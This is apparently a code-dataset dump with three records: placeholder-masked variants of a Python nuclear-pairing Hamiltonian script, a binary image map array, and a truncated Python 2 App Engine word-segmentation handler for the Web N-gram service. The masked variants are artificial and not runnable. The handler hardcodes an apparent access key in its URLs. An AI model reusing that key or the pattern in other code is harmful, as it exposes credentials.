f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\n<function token>\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
9,911
dbefca59376e567a6116dec4e07c44b1fe301ca9
ba1466.pngMap = [ '11111111111111111111111111111100000000011111111111111111111111111000000000000000011111111111111111111111111111111111111111111111', '11111111111111111111111111111110000000011111111111111111111111111000000000000000011111111111111111111111111111111111111111111111', '11111111111111111111111111111110000000001111111111111111111111110000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111110000000001111111111111111111111000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111000000000011111111111111111101000000000000000000000000111111111111111111111111111111111111111111', '11111111111111111111111111111111000000000011111111111111111100000000000000000000000000111111111111111111111111111111111111111111', '11111111111111111111111111111111100000000100111111111111100000000000000000000000000000111111111111111111111111111111111111111111', '11111111111111111111111111111111110000000000111111111111100000000000000000000000000000111111111111111111111111111111111111111111', '11111111111111111111111111111111100000001111111111111100000000000000000000000000000111111111111111111111111111111111111111111111', '11111111111111111111111111111111000000011111111111111100000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111110000000011111111111110000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111000000011111111111000000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111110000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111110000011111111000000000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111111110000000111000000000000000000000000000000000000111111111111111111111111111111111111111111100', '11111111111111111111111111111111111100000000001000000000000000000000000000000000011111111111111111111111111111111111111110100000', '11111111111111111111111111111111111111111111110000000000000000000000000000000001111111111111111111111111111111100000000000000000', '11111111111111111111111111111111111111111111110000000000000000000000000000000000111111111111111111111111111110100000000000000000', '11111111111111111111111111111111111111111111100000000000000000000000000000000000111111111111111111110000000000000000000000000000', '11111111111111111111111111111111111111111111100000000000000000000000000000000001111111111111111111100000000000000000000000000000', '11111111111111111111111111111111111111111111100001111111100000101100000000000000111111110000000000000000000000000000000000000000', '11111111111111111111111111111111111111111111111110111111111111111110000000000000110111000000000000000000000000000000000000000000', '11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000', '11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000', '11111111111111111111111111111111111111111111111100110000000000000000000000000000000000000000000000000000000000000000000000000000', '11111111111111111111111111111111111111000111000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '11111111111111110000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '11010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001011111111111111', '00000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111', '11111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010111111111111111111', '11111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111', '11111111111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111', '11111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111111', '11111111111111111111110010000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111111111111', '11111111111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111111111111', '11111111111111111111111111111111111000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111', '11111111111111111111111111111111111100000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111100111110000000000000000000001111111111111111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111111111111111100001000000011111111111111111111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111', ]
[ "ba1466.pngMap = [\n'11111111111111111111111111111100000000011111111111111111111111111000000000000000011111111111111111111111111111111111111111111111',\n'11111111111111111111111111111110000000011111111111111111111111111000000000000000011111111111111111111111111111111111111111111111',\n'11111111111111111111111111111110000000001111111111111111111111110000000000000000000011111111111111111111111111111111111111111111',\n'11111111111111111111111111111110000000001111111111111111111111000000000000000000000011111111111111111111111111111111111111111111',\n'11111111111111111111111111111111000000000011111111111111111101000000000000000000000000111111111111111111111111111111111111111111',\n'11111111111111111111111111111111000000000011111111111111111100000000000000000000000000111111111111111111111111111111111111111111',\n'11111111111111111111111111111111100000000100111111111111100000000000000000000000000000111111111111111111111111111111111111111111',\n'11111111111111111111111111111111110000000000111111111111100000000000000000000000000000111111111111111111111111111111111111111111',\n'11111111111111111111111111111111100000001111111111111100000000000000000000000000000111111111111111111111111111111111111111111111',\n'11111111111111111111111111111111000000011111111111111100000000000000000000000000000011111111111111111111111111111111111111111111',\n'11111111111111111111111111111110000000011111111111110000000000000000000000000000000011111111111111111111111111111111111111111111',\n'11111111111111111111111111111111000000011111111111000000000000000000000000000000000011111111111111111111111111111111111111111111',\n'11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111',\n'11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111',\n'11111111111111111111111111111111110000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111',\n'11111111111111111111111111111111110000011111111000000000000000000000000000000000000011111111111111111111111111111111111111111111',\n'11111111111111111111111111111111111110000000111000000000000000000000000000000000000111111111111111111111111111111111111111111100',\n'11111111111111111111111111111111111100000000001000000000000000000000000000000000011111111111111111111111111111111111111110100000',\n'11111111111111111111111111111111111111111111110000000000000000000000000000000001111111111111111111111111111111100000000000000000',\n'11111111111111111111111111111111111111111111110000000000000000000000000000000000111111111111111111111111111110100000000000000000',\n'11111111111111111111111111111111111111111111100000000000000000000000000000000000111111111111111111110000000000000000000000000000',\n'11111111111111111111111111111111111111111111100000000000000000000000000000000001111111111111111111100000000000000000000000000000',\n'11111111111111111111111111111111111111111111100001111111100000101100000000000000111111110000000000000000000000000000000000000000',\n'11111111111111111111111111111111111111111111111110111111111111111110000000000000110111000000000000000000000000000000000000000000',\n'11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000',\n'11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000',\n'11111111111111111111111111111111111111111111111100110000000000000000000000000000000000000000000000000000000000000000000000000000',\n'11111111111111111111111111111111111111000111000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'11111111111111110000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'11010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100111111',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111',\n'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001011111111111111',\n'00000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111',\n'11111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010111111111111111111',\n'11111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111',\n'11111111111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111',\n'11111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111111',\n'11111111111111111111110010000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111111111111',\n'11111111111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111111111111',\n'11111111111111111111111111111111111000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111',\n'11111111111111111111111111111111111100000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111',\n'11111111111111111111111111111111111111111111111100111110000000000000000000001111111111111111111111111111111111111111111111111111',\n'11111111111111111111111111111111111111111111111111111111111100001000000011111111111111111111111111111111111111111111111111111111',\n'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111',\n'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111',\n'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111',\n'11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111',\n]\n", "ba1466.pngMap = [\n '11111111111111111111111111111100000000011111111111111111111111111000000000000000011111111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111110000000011111111111111111111111111000000000000000011111111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111110000000001111111111111111111111110000000000000000000011111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111110000000001111111111111111111111000000000000000000000011111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111000000000011111111111111111101000000000000000000000000111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111000000000011111111111111111100000000000000000000000000111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111100000000100111111111111100000000000000000000000000000111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111110000000000111111111111100000000000000000000000000000111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111100000001111111111111100000000000000000000000000000111111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111000000011111111111111100000000000000000000000000000011111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111110000000011111111111110000000000000000000000000000000011111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111000000011111111111000000000000000000000000000000000011111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111110000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111110000011111111000000000000000000000000000000000000011111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111111110000000111000000000000000000000000000000000000111111111111111111111111111111111111111111100'\n ,\n '11111111111111111111111111111111111100000000001000000000000000000000000000000000011111111111111111111111111111111111111110100000'\n ,\n '11111111111111111111111111111111111111111111110000000000000000000000000000000001111111111111111111111111111111100000000000000000'\n ,\n '11111111111111111111111111111111111111111111110000000000000000000000000000000000111111111111111111111111111110100000000000000000'\n ,\n '11111111111111111111111111111111111111111111100000000000000000000000000000000000111111111111111111110000000000000000000000000000'\n ,\n '11111111111111111111111111111111111111111111100000000000000000000000000000000001111111111111111111100000000000000000000000000000'\n ,\n '11111111111111111111111111111111111111111111100001111111100000101100000000000000111111110000000000000000000000000000000000000000'\n ,\n '11111111111111111111111111111111111111111111111110111111111111111110000000000000110111000000000000000000000000000000000000000000'\n ,\n '11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000'\n ,\n '11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000'\n ,\n '11111111111111111111111111111111111111111111111100110000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '11111111111111111111111111111111111111000111000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '11111111111111110000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '11010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100111111'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111'\n ,\n '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001011111111111111'\n ,\n '00000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111'\n ,\n '11111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010111111111111111111'\n ,\n '11111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111'\n ,\n '11111111111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111'\n ,\n '11111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111111'\n ,\n '11111111111111111111110010000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111111111111'\n ,\n '11111111111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111111111111'\n ,\n '11111111111111111111111111111111111000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111111100000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111111111111111111100111110000000000000000000001111111111111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111111111111111111111111111111100001000000011111111111111111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111'\n ,\n '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111'\n ]\n", "<assignment token>\n" ]
false
9,912
c8a6a8633f863e0350157346106a747096d26939
import re import cgi import os import urllib import urllib2 from time import sleep from google.appengine.api import taskqueue from google.appengine.ext import webapp from google.appengine.ext.webapp.util import run_wsgi_app from google.appengine.ext import db from google.appengine.api import urlfetch from google.appengine.api import backends from google.appengine.api import logservice logservice.AUTOFLUSH_EVERY_SECONDS = None logservice.AUTOFLUSH_EVERY_BYTES = None logservice.AUTOFLUSH_ENABLED = False MONTH = "jun09" NGRAM = "3" PROB = "jp" DATASET = "bing-body" REQUESTURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/"+PROB+"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e" GENURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e" class lexicon0(db.Model): word = db.StringProperty(required = True) known = db.StringListProperty(indexed = False) def lexicon_key(lexicon_name=None): return db.Key.from_path('lexicon0', lexicon_name or 'default') def combination(wordlist,t):#argument t is to notify that it is the main query while using cobination for first time tempc = wordlist combinationqueryset = [listtostr(tempc[:i] + ["%s%s"%(tempc[i],tempc[i+1])] + tempc[i+2:] ) for i in range(0, len(tempc)-1)] cquery = listtostr(tempc) combinationqueryset.append(cquery) results = getjp1('',combinationqueryset,'') dictionary = dict(results) x = results.index((cquery,dictionary[cquery])) if (t==0): t = dictionary[cquery] if (results[0][0] == cquery): return (cquery,results[0][1],t) else: dictionary = dict(results) x = results.index((cquery,dictionary[cquery])) y = list() for i in range(x): y.append(combinationqueryset.index(results[i][0])) y.sort(reverse = True) cache = wordlist for z in y: cache[z] += cache[z+1] del cache[z+1] return combination(cache,t) def spacesplits(wordlist): temps = wordlist query = listtostr(temps) strings = [] for i in range(len(temps)): for y in range(1,len(temps[i])): strings.append(listtostr(temps[:i]+list([temps[i][:y],temps[i][y:]])+temps[i+1:])) strings.append(query) results = getjp1('',strings,'') if (results[0][0] == query): return (query,results[0][1]) else: return spacesplits(results[0][0].split()) def getjp(before,wordlist,after): global REQUESTURL wordli = wordlist string = '' for x in wordli: string += before+" "+str(x)+" "+after+"\n" string = string.strip() jps = list() jps = urllib2.urlopen( urllib2.Request(REQUESTURL,str(string))).read().split() for i in range(len(jps)): jps[i] = float(jps[i])/(querylength(wordli[i])) dictionary = dict(zip(wordli,jps)) return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True) def getjp1(before,wordlist,after): global REQUESTURL string = '' for x in wordlist: string += before+" "+str(x)+" "+after+"\n" string = string.strip() jps = list() jps = urllib2.urlopen( urllib2.Request(REQUESTURL,str(string))).read().split() for i in range(len(jps)): jps[i] = float(jps[i]) dictionary = dict(zip(wordlist,jps)) return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True) class mainpage(webapp.RequestHandler): def get(self): global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL if len(self.request.get('m')): MONTH = str(self.request.get('m')) if len(self.request.get('d')): DATASET = str(self.request.get('d')) if len(self.request.get('ng')): NGRAM = str(self.request.get('ng')) if len(self.request.get('pp')): PROB = str(self.request.get('pp')) REQUESTURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/"+PROB+"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e" GENURL = 